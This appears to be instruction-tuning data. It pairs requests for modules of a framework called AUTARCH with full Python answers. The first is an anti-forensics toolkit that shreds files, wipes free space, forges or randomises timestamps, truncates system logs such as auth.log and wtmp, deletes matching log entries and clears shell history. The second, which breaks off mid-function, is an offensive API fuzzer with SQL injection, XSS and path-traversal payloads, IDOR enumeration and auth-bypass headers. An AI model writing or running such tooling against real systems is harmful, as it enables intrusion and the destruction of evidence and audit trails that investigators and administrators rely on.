Instruction: Create an AUTARCH module in the 'counter' category that anti-forensics & counter-investigation tools. The module should follow AUTARCH conventions with DESCRIPTION, AUTHOR, VERSION, CATEGORY attributes and a run() entry point function.

Input:
Module name: anti_forensics
Category: counter
Description: Anti-forensics & counter-investigation tools

Output:
"""AUTARCH Anti-Forensics

Secure file deletion, timestamp manipulation, log clearing, metadata scrubbing,
and counter-forensics techniques for operational security.
"""

DESCRIPTION = "Anti-forensics & counter-investigation tools"
AUTHOR = "darkHal"
VERSION = "1.0"
CATEGORY = "counter"

import os
import re
import json
import time
import struct
import shutil
import secrets
import subprocess
from pathlib import Path
from datetime import datetime, timezone
from typing import Dict, List, Optional, Any

try:
    from core.paths import find_tool, get_data_dir
except ImportError:
    def find_tool(name):
        return shutil.which(name)
    def get_data_dir():
        return str(Path(__file__).parent.parent / 'data')

try:
    from PIL import Image as PILImage
    HAS_PIL = True
except ImportError:
    HAS_PIL = False

# ── Secure Deletion ─────────────────────────────────────────────────────────

class SecureDelete:
    """Secure file/directory deletion with overwrite patterns."""

    PATTERNS = {
        'zeros': b'\x00',
        'ones': b'\xFF',
        'random': None,  # Generated per-pass
        'dod_3pass': [b'\x00', None, b'\xFF'],  # DoD 5220.22-M simplified
        'gutmann': None,  # 35 passes with specific patterns
    }

    @staticmethod
    def secure_delete_file(filepath: str, passes: int = 3,
                            method: str = 'random') -> Dict:
        """Securely delete a file by overwriting before unlinking."""
        if not os.path.exists(filepath):
            return {'ok': False, 'error': 'File not found'}

        try:
            file_size = os.path.getsize(filepath)

            if method == 'dod_3pass':
                patterns = [b'\x00', None, b'\xFF']
            else:
                patterns = [None] * passes  # All random

            # Overwrite passes
            for i, pattern in enumerate(patterns):
                with open(filepath, 'r+b') as f:
                    remaining = file_size
                    while remaining > 0:
                        chunk_size = min(4096, remaining)
                        if pattern is None:
                            chunk = secrets.token_bytes(chunk_size)
                        else:
                            chunk = pattern * chunk_size
                        f.write(chunk[:chunk_size])
                        remaining -= chunk_size
                    f.flush()
                    os.fsync(f.fileno())

            # Truncate to zero
            with open(filepath, 'w') as f:
                pass

            # Rename to random name before deletion (anti-filename recovery)
            directory = os.path.dirname(filepath)
            random_name = os.path.join(directory, secrets.token_hex(16))
            os.rename(filepath, random_name)
            os.unlink(random_name)

            return {
                'ok': True,
                'file': filepath,
                'size': file_size,
                'passes': len(patterns),
                'method': method,
                'message': f'Securely deleted {filepath} ({file_size} bytes, {len(patterns)} passes)'
            }

        except PermissionError:
            return {'ok': False, 'error': 'Permission denied'}
        except Exception as e:
            return {'ok': False, 'error': str(e)}

    @staticmethod
    def secure_delete_directory(dirpath: str, passes: int = 3) -> Dict:
        """Recursively securely delete all files in a directory."""
        if not os.path.isdir(dirpath):
            return {'ok': False, 'error': 'Directory not found'}

        deleted = 0
        errors = 0

        for root, dirs, files in os.walk(dirpath, topdown=False):
            for name in files:
                filepath = os.path.join(root, name)
                result = SecureDelete.secure_delete_file(filepath, passes)
                if result['ok']:
                    deleted += 1
                else:
                    errors += 1

            for name in dirs:
                try:
                    os.rmdir(os.path.join(root, name))
                except OSError:
                    errors += 1

        try:
            os.rmdir(dirpath)
        except OSError:
            errors += 1

        return {
            'ok': True,
            'directory': dirpath,
            'files_deleted': deleted,
            'errors': errors
        }

    @staticmethod
    def wipe_free_space(mount_point: str, passes: int = 1) -> Dict:
        """Fill free space with random data then delete (anti-carving)."""
        try:
            temp_file = os.path.join(mount_point, f'.wipe_{secrets.token_hex(8)}')
            chunk_size = 1024 * 1024  # 1MB
            written = 0

            with open(temp_file, 'wb') as f:
                try:
                    while True:
                        f.write(secrets.token_bytes(chunk_size))
                        written += chunk_size
                        f.flush()
                except (OSError, IOError):
                    pass  # Disk full — expected

            os.unlink(temp_file)

            return {
                'ok': True,
                'mount_point': mount_point,
                'wiped_bytes': written,
                'wiped_mb': round(written / (1024*1024), 1)
            }

        except Exception as e:
            # Clean up temp file
            if os.path.exists(temp_file):
                os.unlink(temp_file)
            return {'ok': False, 'error': str(e)}

# ── Timestamp Manipulation ───────────────────────────────────────────────────

class TimestampManip:
    """File timestamp modification for counter-forensics."""

    @staticmethod
    def get_timestamps(filepath: str) -> Dict:
        """Get file timestamps."""
        if not os.path.exists(filepath):
            return {'ok': False, 'error': 'File not found'}

        stat = os.stat(filepath)
        return {
            'ok': True,
            'file': filepath,
            'accessed': datetime.fromtimestamp(stat.st_atime, timezone.utc).isoformat(),
            'modified': datetime.fromtimestamp(stat.st_mtime, timezone.utc).isoformat(),
            'created': datetime.fromtimestamp(stat.st_ctime, timezone.utc).isoformat(),
            'atime': stat.st_atime,
            'mtime': stat.st_mtime,
            'ctime': stat.st_ctime
        }

    @staticmethod
    def set_timestamps(filepath: str, accessed: float = None,
                        modified: float = None) -> Dict:
        """Set file access and modification timestamps."""
        if not os.path.exists(filepath):
            return {'ok': False, 'error': 'File not found'}

        try:
            stat = os.stat(filepath)
            atime = accessed if accessed is not None else stat.st_atime
            mtime = modified if modified is not None else stat.st_mtime
            os.utime(filepath, (atime, mtime))

            return {
                'ok': True,
                'file': filepath,
                'accessed': datetime.fromtimestamp(atime, timezone.utc).isoformat(),
                'modified': datetime.fromtimestamp(mtime, timezone.utc).isoformat()
            }
        except Exception as e:
            return {'ok': False, 'error': str(e)}

    @staticmethod
    def clone_timestamps(source: str, target: str) -> Dict:
        """Copy timestamps from one file to another."""
        if not os.path.exists(source):
            return {'ok': False, 'error': 'Source file not found'}
        if not os.path.exists(target):
            return {'ok': False, 'error': 'Target file not found'}

        try:
            stat = os.stat(source)
            os.utime(target, (stat.st_atime, stat.st_mtime))
            return {
                'ok': True,
                'source': source,
                'target': target,
                'message': 'Timestamps cloned'
            }
        except Exception as e:
            return {'ok': False, 'error': str(e)}

    @staticmethod
    def randomize_timestamps(filepath: str, start_epoch: float = None,
                              end_epoch: float = None) -> Dict:
        """Set random timestamps within a range."""
        if not os.path.exists(filepath):
            return {'ok': False, 'error': 'File not found'}

        if start_epoch is None:
            start_epoch = time.time() - 365 * 24 * 3600  # 1 year ago
        if end_epoch is None:
            end_epoch = time.time()

        import random
        atime = random.uniform(start_epoch, end_epoch)
        mtime = random.uniform(start_epoch, end_epoch)

        return TimestampManip.set_timestamps(filepath, atime, mtime)

# ── Log Clearing ─────────────────────────────────────────────────────────────

class LogCleaner:
    """System log manipulation and clearing."""

    COMMON_LOG_PATHS = [
        '/var/log/auth.log', '/var/log/syslog', '/var/log/messages',
        '/var/log/kern.log', '/var/log/daemon.log', '/var/log/secure',
        '/var/log/wtmp', '/var/log/btmp', '/var/log/lastlog',
        '/var/log/faillog', '/var/log/apache2/access.log',
        '/var/log/apache2/error.log', '/var/log/nginx/access.log',
        '/var/log/nginx/error.log', '/var/log/mysql/error.log',
    ]

    @staticmethod
    def list_logs() -> List[Dict]:
        """List available log files."""
        logs = []
        for path in LogCleaner.COMMON_LOG_PATHS:
            if os.path.exists(path):
                try:
                    stat = os.stat(path)
                    logs.append({
                        'path': path,
                        'size': stat.st_size,
                        'modified': datetime.fromtimestamp(stat.st_mtime, timezone.utc).isoformat(),
                        'writable': os.access(path, os.W_OK)
                    })
                except OSError:
                    pass
        return logs

    @staticmethod
    def clear_log(filepath: str) -> Dict:
        """Clear a log file (truncate to zero)."""
        if not os.path.exists(filepath):
            return {'ok': False, 'error': 'File not found'}
        try:
            original_size = os.path.getsize(filepath)
            with open(filepath, 'w') as f:
                pass
            return {
                'ok': True,
                'file': filepath,
                'cleared_bytes': original_size
            }
        except PermissionError:
            return {'ok': False, 'error': 'Permission denied (need root?)'}
        except Exception as e:
            return {'ok': False, 'error': str(e)}

    @staticmethod
    def remove_entries(filepath: str, pattern: str) -> Dict:
        """Remove specific entries matching a pattern from log file."""
        if not os.path.exists(filepath):
            return {'ok': False, 'error': 'File not found'}

        try:
            with open(filepath, 'r', errors='ignore') as f:
                lines = f.readlines()

            original_count = len(lines)
            filtered = [l for l in lines if not re.search(pattern, l, re.I)]
            removed = original_count - len(filtered)

            with open(filepath, 'w') as f:
                f.writelines(filtered)

            return {
                'ok': True,
                'file': filepath,
                'original_lines': original_count,
                'removed': removed,
                'remaining': len(filtered)
            }
        except PermissionError:
            return {'ok': False, 'error': 'Permission denied'}
        except Exception as e:
            return {'ok': False, 'error': str(e)}

    @staticmethod
    def clear_bash_history() -> Dict:
        """Clear bash history."""
        results = []
        history_files = [
            os.path.expanduser('~/.bash_history'),
            os.path.expanduser('~/.zsh_history'),
            os.path.expanduser('~/.python_history'),
        ]
        for hf in history_files:
            if os.path.exists(hf):
                try:
                    size = os.path.getsize(hf)
                    with open(hf, 'w') as f:
                        pass
                    results.append({'file': hf, 'cleared': size})
                except Exception:
                    pass

        # Also clear in-memory history
        try:
            subprocess.run(['history', '-c'], shell=True, capture_output=True)
        except Exception:
            pass

        return {'ok': True, 'cleared': results}

# ── Metadata Scrubbing ───────────────────────────────────────────────────────

class MetadataScrubber:
    """Remove identifying metadata from files."""

    @staticmethod
    def scrub_image(filepath: str, output: str = None) -> Dict:
        """Remove EXIF data from image."""
        if not HAS_PIL:
            return {'ok': False, 'error': 'Pillow not installed'}

        try:
            img = PILImage.open(filepath)
            # Create clean copy without EXIF
            clean = PILImage.new(img.mode, img.size)
            clean.putdata(list(img.getdata()))

            out_path = output or filepath
            clean.save(out_path)

            return {
                'ok': True,
                'file': out_path,
                'message': 'EXIF data removed'
            }
        except Exception as e:
            return {'ok': False, 'error': str(e)}

    @staticmethod
    def scrub_pdf_metadata(filepath: str) -> Dict:
        """Remove metadata from PDF (basic — rewrites info dict)."""
        try:
            with open(filepath, 'rb') as f:
                data = f.read()

            # Remove common metadata keys
            for key in [b'/Author', b'/Creator', b'/Producer',
                        b'/Title', b'/Subject', b'/Keywords']:
                # Simple regex replacement of metadata values
                pattern = key + rb'\s*\([^)]*\)'
                data = re.sub(pattern, key + b' ()', data)

            with open(filepath, 'wb') as f:
                f.write(data)

            return {'ok': True, 'file': filepath, 'message': 'PDF metadata scrubbed'}
        except Exception as e:
            return {'ok': False, 'error': str(e)}

# ── Anti-Forensics Manager ──────────────────────────────────────────────────

class AntiForensicsManager:
    """Unified interface for anti-forensics operations."""

    def __init__(self):
        self.data_dir = os.path.join(get_data_dir(), 'anti_forensics')
        os.makedirs(self.data_dir, exist_ok=True)
        self.delete = SecureDelete()
        self.timestamps = TimestampManip()
        self.logs = LogCleaner()
        self.scrubber = MetadataScrubber()
        self.audit_log: List[Dict] = []

    def _log_action(self, action: str, target: str, details: str = ''):
        """Internal audit log (ironic for anti-forensics)."""
        self.audit_log.append({
            'timestamp': datetime.now(timezone.utc).isoformat(),
            'action': action,
            'target': target,
            'details': details
        })

    def get_capabilities(self) -> Dict:
        """Check available capabilities."""
        return {
            'secure_delete': True,
            'timestamp_manip': True,
            'log_clearing': True,
            'metadata_scrub_image': HAS_PIL,
            'metadata_scrub_pdf': True,
            'free_space_wipe': True,
        }

# ── Singleton ────────────────────────────────────────────────────────────────

_instance = None

def get_anti_forensics() -> AntiForensicsManager:
    global _instance
    if _instance is None:
        _instance = AntiForensicsManager()
    return _instance

# ── CLI Interface ────────────────────────────────────────────────────────────

def run():
    """CLI entry point for Anti-Forensics module."""
    mgr = get_anti_forensics()

    while True:
        print(f"\n{'='*60}")
        print(f"  Anti-Forensics Toolkit")
        print(f"{'='*60}")
        print()
        print("  1 — Secure Delete File")
        print("  2 — Secure Delete Directory")
        print("  3 — Wipe Free Space")
        print("  4 — View File Timestamps")
        print("  5 — Set Timestamps")
        print("  6 — Clone Timestamps")
        print("  7 — Randomize Timestamps")
        print("  8 — List System Logs")
        print("  9 — Clear Log File")
        print("  10 — Remove Log Entries (pattern)")
        print("  11 — Clear Shell History")
        print("  12 — Scrub Image Metadata")
        print("  13 — Scrub PDF Metadata")
        print("  0 — Back")
        print()

        choice = input("  > ").strip()

        if choice == '0':
            break
        elif choice == '1':
            path = input("  File path: ").strip()
            passes = input("  Overwrite passes (default 3): ").strip()
            if path:
                result = mgr.delete.secure_delete_file(path, int(passes) if passes.isdigit() else 3)
                print(f"    {result.get('message', result.get('error'))}")
        elif choice == '2':
            path = input("  Directory path: ").strip()
            if path:
                confirm = input(f"    DELETE ALL in {path}? (yes/no): ").strip()
                if confirm == 'yes':
                    result = mgr.delete.secure_delete_directory(path)
                    print(f"    Deleted {result.get('files_deleted', 0)} files, {result.get('errors', 0)} errors")
        elif choice == '3':
            mount = input("  Mount point: ").strip()
            if mount:
                result = mgr.delete.wipe_free_space(mount)
                if result['ok']:
                    print(f"    Wiped {result['wiped_mb']} MB of free space")
                else:
                    print(f"    Error: {result['error']}")
        elif choice == '4':
            path = input("  File path: ").strip()
            if path:
                result = mgr.timestamps.get_timestamps(path)
                if result['ok']:
                    print(f"    Accessed: {result['accessed']}")
                    print(f"    Modified: {result['modified']}")
                    print(f"    Created:  {result['created']}")
        elif choice == '5':
            path = input("  File path: ").strip()
            date_str = input("  Date (YYYY-MM-DD HH:MM:SS): ").strip()
            if path and date_str:
                try:
                    ts = datetime.strptime(date_str, '%Y-%m-%d %H:%M:%S').timestamp()
                    result = mgr.timestamps.set_timestamps(path, ts, ts)
                    print(f"    Timestamps set to {date_str}")
                except ValueError:
                    print("    Invalid date format")
        elif choice == '6':
            source = input("  Source file: ").strip()
            target = input("  Target file: ").strip()
            if source and target:
                result = mgr.timestamps.clone_timestamps(source, target)
                print(f"    {result.get('message', result.get('error'))}")
        elif choice == '7':
            path = input("  File path: ").strip()
            if path:
                result = mgr.timestamps.randomize_timestamps(path)
                if result['ok']:
                    print(f"    Set to: {result.get('modified', '?')}")
        elif choice == '8':
            logs = mgr.logs.list_logs()
            for l in logs:
                writable = 'writable' if l['writable'] else 'read-only'
                print(f"    {l['path']}  ({l['size']} bytes)  [{writable}]")
        elif choice == '9':
            path = input("  Log file path: ").strip()
            if path:
                result = mgr.logs.clear_log(path)
                if result['ok']:
                    print(f"    Cleared {result['cleared_bytes']} bytes")
                else:
                    print(f"    {result['error']}")
        elif choice == '10':
            path = input("  Log file path: ").strip()
            pattern = input("  Pattern to remove: ").strip()
            if path and pattern:
                result = mgr.logs.remove_entries(path, pattern)
                if result['ok']:
                    print(f"    Removed {result['removed']} of {result['original_lines']} lines")
                else:
                    print(f"    {result['error']}")
        elif choice == '11':
            result = mgr.logs.clear_bash_history()
            for c in result['cleared']:
                print(f"    Cleared {c['file']} ({c['cleared']} bytes)")
        elif choice == '12':
            path = input("  Image path: ").strip()
            if path:
                result = mgr.scrubber.scrub_image(path)
                print(f"    {result.get('message', result.get('error'))}")
        elif choice == '13':
            path = input("  PDF path: ").strip()
            if path:
                result = mgr.scrubber.scrub_pdf_metadata(path)
                print(f"    {result.get('message', result.get('error'))}")


Instruction: Create an AUTARCH module in the 'offense' category that api endpoint fuzzing & vulnerability testing. The module should follow AUTARCH conventions with DESCRIPTION, AUTHOR, VERSION, CATEGORY attributes and a run() entry point function.

Input:
Module name: api_fuzzer
Category: offense
Description: API endpoint fuzzing & vulnerability testing

Output:
"""AUTARCH API Fuzzer

Endpoint discovery, parameter fuzzing, auth testing, rate limit detection,
GraphQL introspection, and response analysis for REST/GraphQL APIs.
"""

DESCRIPTION = "API endpoint fuzzing & vulnerability testing"
AUTHOR = "darkHal"
VERSION = "1.0"
CATEGORY = "offense"

import os
import re
import json
import time
import copy
import threading
from pathlib import Path
from urllib.parse import urljoin, urlparse, parse_qs
from typing import Dict, List, Optional, Any, Tuple

try:
    from core.paths import get_data_dir
except ImportError:
    def get_data_dir():
        return str(Path(__file__).parent.parent / 'data')

try:
    import requests
    from requests.exceptions import RequestException
    HAS_REQUESTS = True
except ImportError:
    HAS_REQUESTS = False

# ── Fuzz Payloads ────────────────────────────────────────────────────────────

SQLI_PAYLOADS = [
    "' OR '1'='1", "\" OR \"1\"=\"1", "'; DROP TABLE--", "1; SELECT 1--",
    "' UNION SELECT NULL--", "1' AND '1'='1", "admin'--", "' OR 1=1#",
    "1 AND 1=1", "1' ORDER BY 1--", "') OR ('1'='1",
]

XSS_PAYLOADS = [
    "<script>alert(1)</script>", "'\"><img src=x onerror=alert(1)>",
    "javascript:alert(1)", "<svg/onload=alert(1)>", "{{7*7}}",
    "${7*7}", "<%=7*7%>", "{{constructor.constructor('return 1')()}}",
]

TYPE_CONFUSION = [
    None, True, False, 0, -1, 2147483647, -2147483648,
    99999999999999, 0.1, -0.1, float('inf'),
    "", " ", "null", "undefined", "NaN", "true", "false",
    [], {}, [None], {"__proto__": {}},
    "A" * 1000, "A" * 10000,
]

TRAVERSAL_PAYLOADS = [
    "../../../etc/passwd", "..\\..\\..\\windows\\system32\\config\\sam",
    "....//....//....//etc/passwd", "%2e%2e%2f%2e%2e%2f",
    "/etc/passwd%00", "..%252f..%252f",
]

COMMON_ENDPOINTS = [
    '/api', '/api/v1', '/api/v2', '/api/v3',
    '/api/users', '/api/admin', '/api/login', '/api/auth',
    '/api/config', '/api/settings', '/api/debug', '/api/health',
    '/api/status', '/api/info', '/api/version', '/api/docs',
    '/api/swagger', '/api/graphql', '/api/internal',
    '/swagger.json', '/swagger-ui', '/openapi.json',
    '/api/tokens', '/api/keys', '/api/secrets',
    '/api/upload', '/api/download', '/api/export', '/api/import',
    '/api/search', '/api/query', '/api/execute', '/api/run',
    '/graphql', '/graphiql', '/playground',
    '/.well-known/openid-configuration',
    '/api/password/reset', '/api/register', '/api/verify',
    '/api/webhook', '/api/callback', '/api/notify',
    '/actuator', '/actuator/health', '/actuator/env',
    '/metrics', '/prometheus', '/_debug', '/__debug__',
]

# ── API Fuzzer Engine ────────────────────────────────────────────────────────

class APIFuzzer:
    """REST & GraphQL API security testing."""

    def __init__(self):
        self.data_dir = os.path.join(get_data_dir(), 'api_fuzzer')
        os.makedirs(self.data_dir, exist_ok=True)
        self.session = requests.Session() if HAS_REQUESTS else None
        self.results: List[Dict] = []
        self._jobs: Dict[str, Dict] = {}

    def set_auth(self, auth_type: str, value: str, header_name: str = 'Authorization'):
        """Configure authentication for requests."""
        if not self.session:
            return
        if auth_type == 'bearer':
            self.session.headers[header_name] = f'Bearer {value}'
        elif auth_type == 'api_key':
            self.session.headers[header_name] = value
        elif auth_type == 'basic':
            parts = value.split(':', 1)
            if len(parts) == 2:
                self.session.auth = (parts[0], parts[1])
        elif auth_type == 'cookie':
            self.session.cookies.set('session', value)
        elif auth_type == 'custom':
            self.session.headers[header_name] = value

    def clear_auth(self):
        """Clear authentication."""
        if self.session:
            self.session.headers.pop('Authorization', None)
            self.session.auth = None
            self.session.cookies.clear()

    # ── Endpoint Discovery ───────────────────────────────────────────────

    def discover_endpoints(self, base_url: str, custom_paths: List[str] = None,
                           threads: int = 10) -> str:
        """Discover API endpoints. Returns job_id."""
        job_id = f'discover_{int(time.time())}'
        self._jobs[job_id] = {
            'type': 'discover', 'status': 'running',
            'found': [], 'checked': 0, 'total': 0
        }

        def _discover():
            paths = COMMON_ENDPOINTS + (custom_paths or [])
            self._jobs[job_id]['total'] = len(paths)
            found = []

            def check_path(path):
                try:
                    url = urljoin(base_url.rstrip('/') + '/', path.lstrip('/'))
                    resp = self.session.get(url, timeout=5, allow_redirects=False)
                    self._jobs[job_id]['checked'] += 1

                    if resp.status_code < 404:
                        entry = {
                            'path': path,
                            'url': url,
                            'status': resp.status_code,
                            'content_type': resp.headers.get('content-type', ''),
                            'size': len(resp.content),
                            'methods': []
                        }

                        # Check allowed methods via OPTIONS
                        try:
                            opts = self.session.options(url, timeout=3)
                            allow = opts.headers.get('Allow', '')
                            if allow:
                                entry['methods'] = [m.strip() for m in allow.split(',')]
                        except Exception:
                            pass

                        found.append(entry)
                except Exception:
                    self._jobs[job_id]['checked'] += 1

            # Thread pool
            active_threads = []
            for path in paths:
                t = threading.Thread(target=check_path, args=(path,))
                t.start()
                active_threads.append(t)
                if len(active_threads) >= threads:
                    for at in active_threads:
                        at.join(timeout=10)
                    active_threads.clear()

            for t in active_threads:
                t.join(timeout=10)

            self._jobs[job_id]['found'] = found
            self._jobs[job_id]['status'] = 'complete'

        threading.Thread(target=_discover, daemon=True).start()
        return job_id

    def parse_openapi(self, url_or_path: str) -> Dict:
        """Parse OpenAPI/Swagger spec to extract endpoints."""
        try:
            if url_or_path.startswith('http'):
                resp = self.session.get(url_or_path, timeout=10)
                spec = resp.json()
            else:
                with open(url_or_path) as f:
                    spec = json.load(f)

            endpoints = []
            paths = spec.get('paths', {})
            for path, methods in paths.items():
                for method, details in methods.items():
                    if method.upper() in ('GET', 'POST', 'PUT', 'DELETE', 'PATCH', 'OPTIONS'):
                        params = []
                        for p in details.get('parameters', []):
                            params.append({
                                'name': p.get('name'),
                                'in': p.get('in'),
                                'required': p.get('required', False),
                                'type': p.get('schema', {}).get('type', 'string')
                            })
                        endpoints.append({
                            'path': path,
                            'method': method.upper(),
                            'summary': details.get('summary', ''),
                            'parameters': params,
                            'tags': details.get('tags', [])
                        })

            return {
                'ok': True,
                'title': spec.get('info', {}).get('title', ''),
                'version': spec.get('info', {}).get('version', ''),
                'endpoints': endpoints,
                'count': len(endpoints)
            }
        except Exception as e:
            return {'ok': False, 'error': str(e)}

    # ── Parameter Fuzzing ────────────────────────────────────────────────

    def fuzz_params(self, url: str, method: str = 'GET',
                    params: Dict = None, payload_type: str = 'type_confusion') -> Dict:
        """Fuzz API parameters with various payloads."""
        if not self.session:
            return {'ok': False, 'error': 'requests not available'}

        if payload_type == 'sqli':
            payloads = SQLI_PAYLOADS
        elif payload_type == 'xss':
            payloads = XSS_PAYLOADS
        elif payload_type == 'traversal':
            payloads = TRAVERSAL_PAYLOADS
        else:
            payloads = TYPE_CONFUSION

        params = params or {}
        findings = []

        for param_name, original_value in params.items():
            for payload in payloads:
                fuzzed = copy.deepcopy(params)
                fuzzed[param_name] = payload

                try:
                    if method.upper() == 'GET':
                        resp = self.session.get(url, params=fuzzed, timeout=10)
                    else:
                        resp = self.session.request(method.upper(), url, json=fuzzed, timeout=10)

                    # Analyze response for anomalies
                    finding = self._analyze_fuzz_response(
                        resp, param_name, payload, payload_type
                    )
                    if finding:
                        findings.append(finding)

                except RequestException as e:
                    if 'timeout' not in str(e).lower():
                        findings.append({
                            'param': param_name,
                            'payload': str(payload),
                            'type': 'error',
                            'detail': str(e)
                        })

        return {'ok': True, 'findings': findings, 'tested': len(params) * len(payloads)}

    def _analyze_fuzz_response(self, resp, param: str, payload, payload_type: str) -> Optional[Dict]:
        """Analyze response for vulnerability indicators."""
        body = resp.text.lower()
        finding = None

        # SQL error detection
        sql_errors = [
            'sql syntax', 'mysql_fetch', 'pg_query', 'sqlite3',
            'unclosed quotation', 'unterminated string', 'syntax error',
            'odbc', 'oracle error', 'microsoft ole db', 'ora-0'
        ]
        if payload_type == 'sqli' and any(e in body for e in sql_errors):
            finding = {
                'param': param, 'payload': str(payload),
                'type': 'sqli', 'severity': 'high',
                'detail': 'SQL error in response',
                'status': resp.status_code
            }

        # XSS reflection
        if payload_type == 'xss' and str(payload).lower() in body:
            finding = {
                'param': param, 'payload': str(payload),
                'type': 'xss_reflected', 'severity': 'high',
                'detail': 'Payload reflected in response',
                'status': resp.status_code
            }

        # Path traversal
        if payload_type == 'traversal':
            traversal_indicators = ['root:', '/bin/', 'windows\\system32', '[boot loader]']
            if any(t in body for t in traversal_indicators):
                finding = {
                    'param': param, 'payload': str(payload),
                    'type': 'path_traversal', 'severity': 'critical',
                    'detail': 'File content in response',
                    'status': resp.status_code
                }

        # Server error (500) might indicate injection
        if resp.status_code == 500 and not finding:
            finding = {
                'param': param, 'payload': str(payload),
                'type': 'server_error', 'severity': 'medium',
                'detail': f'Server error (500) triggered',
                'status': resp.status_code
            }

        # Stack trace / debug info disclosure
        debug_indicators = [
            'traceback', 'stacktrace', 'exception', 'debug',
            'at line', 'file "/', 'internal server error'
        ]
        if any(d in body for d in debug_indicators) and not finding:
            finding = {
                'param': param, 'payload': str(payload),
                'type': 'info_disclosure', 'severity': 'medium',
                'detail': 'Debug/stack trace in response',
                'status': resp.status_code
            }

        return finding

    # ── Auth Testing ─────────────────────────────────────────────────────

    def test_idor(self, url_template: str, id_range: Tuple[int, int],
                  auth_token: str = None) -> Dict:
        """Test for IDOR by iterating IDs."""
        findings = []
        start_id, end_id = id_range

        if auth_token:
            self.session.headers['Authorization'] = f'Bearer {auth_token}'

        for i in range(start_id, end_id + 1):
            url = url_template.replace('{id}', str(i))
            try:
                resp = self.session.get(url, timeout=5)
                if resp.status_code == 200:
                    findings.append({
                        'id': i, 'url': url,
                        'status': resp.status_code,
                        'size': len(resp.content),
                        'accessible': True
                    })
                elif resp.status_code not in (401, 403, 404):
                    findings.append({
                        'id': i, 'url': url,
                        'status': resp.status_code,
                        'accessible': False,
                        'note': f'Unexpected status: {resp.status_code}'
                    })
            except Exception:
                pass

        return {
            'ok': True, 'findings': findings,
            'accessible_count': sum(1 for f in findings if f.get('accessible')),
            'tested': end_id - start_id + 1
        }

    def test_auth_bypass(self, url: str) -> Dict:
        """Test common auth bypass techniques."""
        bypasses = []

        tests = [
            ('No auth header', {}),
            ('Empty Bearer', {'Authorization': 'Bearer '}),
            ('Bearer null', {'Authorization': 'Bearer null'}),
            ('Bearer undefined', {'Authorization': 'Bearer undefined'}),
            ('Admin header', {'X-Admin': 'true'}),
            ('Internal header', {'X-Forwarded-For': '127.0.0.1'}),
            ('Override method', {'X-HTTP-Method-Override': 'GET'}),
            ('Original URL', {'X-Original-URL': '/admin'}),
        ]

        for name, headers in tests:
            try:
                resp = requests.get(url, headers=headers, timeout=5)
                if resp.status_code == 200:
                    bypasses.append({
                        'technique': name,
                        'status': resp.status_code,
                        'size': len(resp.content),
                        'success': True
                    })
                else:
                    bypasses.append({
                        'technique': name,
                        'status': resp.status_code,
                        'success': False
                    })
            except Exception:
                pass

        return {
            'ok': True,
            'bypasses': bypasses,
            'successful': sum(1 for b in bypasses if b.get('success'))
        }

    # ── Rate Limiting ────────────────────────────────────────────────────

    def test_rate_limit(self, url: str, requests_count: int = 50,
                        method: str = 'GET') -> Dict:
        """Test API rate limiting."""
        results = []
        start_time = time.time()

        for i in range(requests_count):
            try:
                resp = self.session.request(method, url, timeout=10)
                results.append({
                    'request_num': i + 1,
                    'status': resp.status_code,
                    'time': time.time() - start_time,
                    'rate_limit_remaining': resp.headers.get('X-RateLimit-Remaining', ''),
                    'retry_after': resp.headers.get('Retry-After', '')
                })
                if resp.status_code == 429:
                    break
            except Exception as e:
                results.append({
                    'request_num': i + 1,
                    'error': str(e),
                    'time': time.time() - start_time
                })

        rate_limited = any(r.get('status') == 429 for r in results)
        elapsed = time.time() - start_time

        return {
            'ok': True,
            'rate_limited': rate_limited,
            'total_requests': len(results),
            'elapsed_seconds': round(elapsed, 2),
            'rps': round(len(results) / elapsed, 1) if elapsed > 0 else 0,
            'limit_hit_at': next((r['request_num'] for r in results if r.get('status') == 429), None),
            'results': results
        }

    # ── GraphQL ──────────────────────────────────────────────────────────

    def graphql_introspect(self, url: str) -> Dict:
        """Run GraphQL introspection query."""
        query = {
            'query': '''
            {
                __schema {
                    types {
                        name
                        kind
                        fields {
                            name
                            type { name kind }
                            args { name type { name } }
                        }
                    }
                    queryType { name }
                    mutationType { name }
                }
            }
            '''
        }

        try:
            resp = self.session.post(url, json=query, timeout=15)
            data = resp.json()

            if 'errors' in data and not data.get('data'):
                return {'ok': False, 'error': 'Introspection disabled or error',
                         'errors': data['errors']}

            schema = data.get('data', {}).get('__schema', {})
            types = []
            for t in schema.get('types', []):
                if not t['name'].startswith('__'):
                    types.append({
                        'name': t['name'],
                        'kind': t['kind'],
                        'fields': [
                            {'name': f['name'],
                             'type': f['type'].get('name', f['type'].get('kind', '')),
                             'args': [a['name'] for a in f.get('args', [])]}
                            for f in (t.get('fields') or [])
                        ]
                    })

            return {
                'ok': True,
                'query_type': schema.get('queryType', {}).get('name'),
                'mutation_type': schema.get('mutationType', {}).get('name'),
                'types': types,
                'type_count': len(types)
            }
        except Exception as e:
            return {'ok': False, 'error': str(e)}

    def graphql_depth_test(self, url: str, max_depth: int = 10) -> Dict:
        """Test GraphQL query depth limits."""
        results = []
        for depth in range(1, max_depth + 1):
            # Build nested query
            inner = '{ __typename }'
            for _ in range(depth):
                inner = f'{{ __schema {{ types {inner} }} }}'

            try:
                resp = self.session.post(url, json={'query': inner}, timeout=10)
                results.append({
                    'depth': depth,
                    'status': resp.status_code,
                    'has_errors': 'errors' in resp.json() if resp.headers.get('content-type', '').startswith('application/json') else None
                })
                if resp.status_code != 200:
                    break
            except Exception:
                results.append({'depth': depth, 'error': True})
                break

        max_allowed = max((r['depth'] for r in results if r.get('status') == 200), default=0)
        return {
            'ok': True,
            'max_depth_allowed': max_allowed,
            'depth_limited': max_allowed < max_depth,
            'results': results
        }

    # ── Response Analysis ────────────────────────────────────────────────

    def analyze_response(self, url: str, method: str = 'GET') -> Dict:
        """Analyze API response for security issues."""
        try:
            resp = self.session.request(method, url, timeout=10)
            issues = []

            # Check security headers
            security_headers = {
                'X-Content-Type-Options': 'nosniff',
                'X-Frame-Options': 'DENY|SAMEORIGIN',
                'Strict-Transport-Security': None,
                'Content-Security-Policy': None,
                'X-XSS-Protection': None,
            }
            for header, expected in security_headers.items():
                val = resp.headers.get(header)
                if not val:
                    issues.append({
                        'type': 'missing_header',
                        'header': header,
                        'severity': 'low'
                    })

            # Check for info disclosure
            server = resp.headers.get('Server', '')
            if server and any(v in server.lower() for v in ['apache/', 'nginx/', 'iis/']):
                issues.append({
                    'type': 'server_disclosure',
                    'value': server,
                    'severity': 'info'
                })

            powered_by = resp.headers.get('X-Powered-By', '')
            if powered_by:
                issues.append({
                    'type': 'technology_disclosure',
                    'value': powered_by,
                    'severity': 'low'
                })

            # Check CORS
